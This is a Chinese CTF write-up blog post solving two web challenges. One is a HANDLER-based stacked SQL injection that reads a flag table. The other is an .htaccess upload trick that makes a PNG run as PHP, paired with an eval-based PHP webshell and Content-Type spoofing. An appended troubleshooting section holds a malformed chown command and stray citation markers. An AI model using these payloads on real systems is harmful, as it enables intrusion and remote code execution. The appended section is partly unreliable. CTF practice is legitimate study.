一天一道ctf 第19天(handler sql注入,.htaccess文件上传)

本文介绍了两道CTF比赛中的Web安全题目,涉及文件上传漏洞的利用。第一题通过handler语句绕过过滤,第二题利用.htaccess配置让服务器将上传的图片当作PHP解析,实现一句话木马的执行。关键步骤包括修改文件类型、上传配置文件及后门文件,以及使用蚁剑进行远程连接。

[GYCTF2020]Blacklist
一个小知识点,题目和之前强网杯的随便注差不多,只是过滤的东西多了很多,那就不能更改表名了。这里用的是handler语句

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

在这里插入图片描述
在这里插入图片描述

[MRCTF2020]你传你🐎呢
这题和之前做过的一道文件上传题很像,都是先上传一个配置文件为之后上传的一句话木马开启一个后门(除了作者是个祖安以外)之前一道题传的是.user.ini文件,这道题传的是.htacsess文件。上传.htaccess可以更改配置,目的是为了让服务器能把我们后面上传的文件当作php来解析。

//.htacsess
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传的时候记得抓包把Concent Type改成image/png
再上传一句话木马1.png

//1.png
<?php
@eval($_POST['shell']);
?>

上传成功以后蚁剑连接回显的1.png地址http://e0ced744-d17c-4295-9063-074dfc00ce30.node3.buuoj.cn/upload/…/1.png

### CTFHub平台上.htaccess文件上传导致500错误解决方案 当遇到CTFHub平台上的`.htaccess`文件上传引发的500内部服务器错误时,通常是因为Apache配置不当或存在语法错误所致[^1]。 #### Apache日志分析 为了诊断具体原因,应当查看Apache的日志文件。这些日志可以提供关于为何发生500错误的具体线索。一般情况下,在Linux系统上,默认路径位于 `/var/log/apache2/error.log` 或者 `/var/log/httpd/error_log` 中。通过检查最近条目中的警告和错误消息来定位问题所在[^2]。 #### 配置验证 确保本地测试环境下的Apache版本与目标服务器一致,并尝试加载相同的 `.htaccess` 文件以重现此问题。如果确实出现了同样的500错误,则可能是由于该文件内的指令不被当前使用的Apache模块支持所引起。此时应仔细核对每一条规则并查阅官方文档确认其兼容性和正确性[^3]。 #### 权限设置 另一个常见的原因是权限不足。即使语法完全无误,但如果Web服务器进程无法读取到这个隐藏文件的话也会报错。因此要保证 `.htaccess` 及其所在的目录具有适当的所有权以及755 (rwxr-xr-x) 的访问模式[^4]。 ```bash chmod 755 /path/to/directory/.htaccess chown www-R ``` 以上命令假设运行的是基于Debian系的操作系统;对于其他发行版可能需要调整用户组名称。 #### PHP解析器冲突 有时PHP脚本试图处理非预期类型的请求也可能触发此类异常情况。特别是当涉及到动态内容生成的时候更应该注意这一点。可以通过禁用不必要的处理器或将特定扩展名排除在外的方式来规避潜在的风险[^5]。 ```apacheconf <FilesMatch "\.(php|phtml)$"> SetHandler application/x-httpd-php </FilesMatch> ``` 上述代码片段展示了如何仅允许指定后缀名由PHP引擎解释执行的方法之一。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值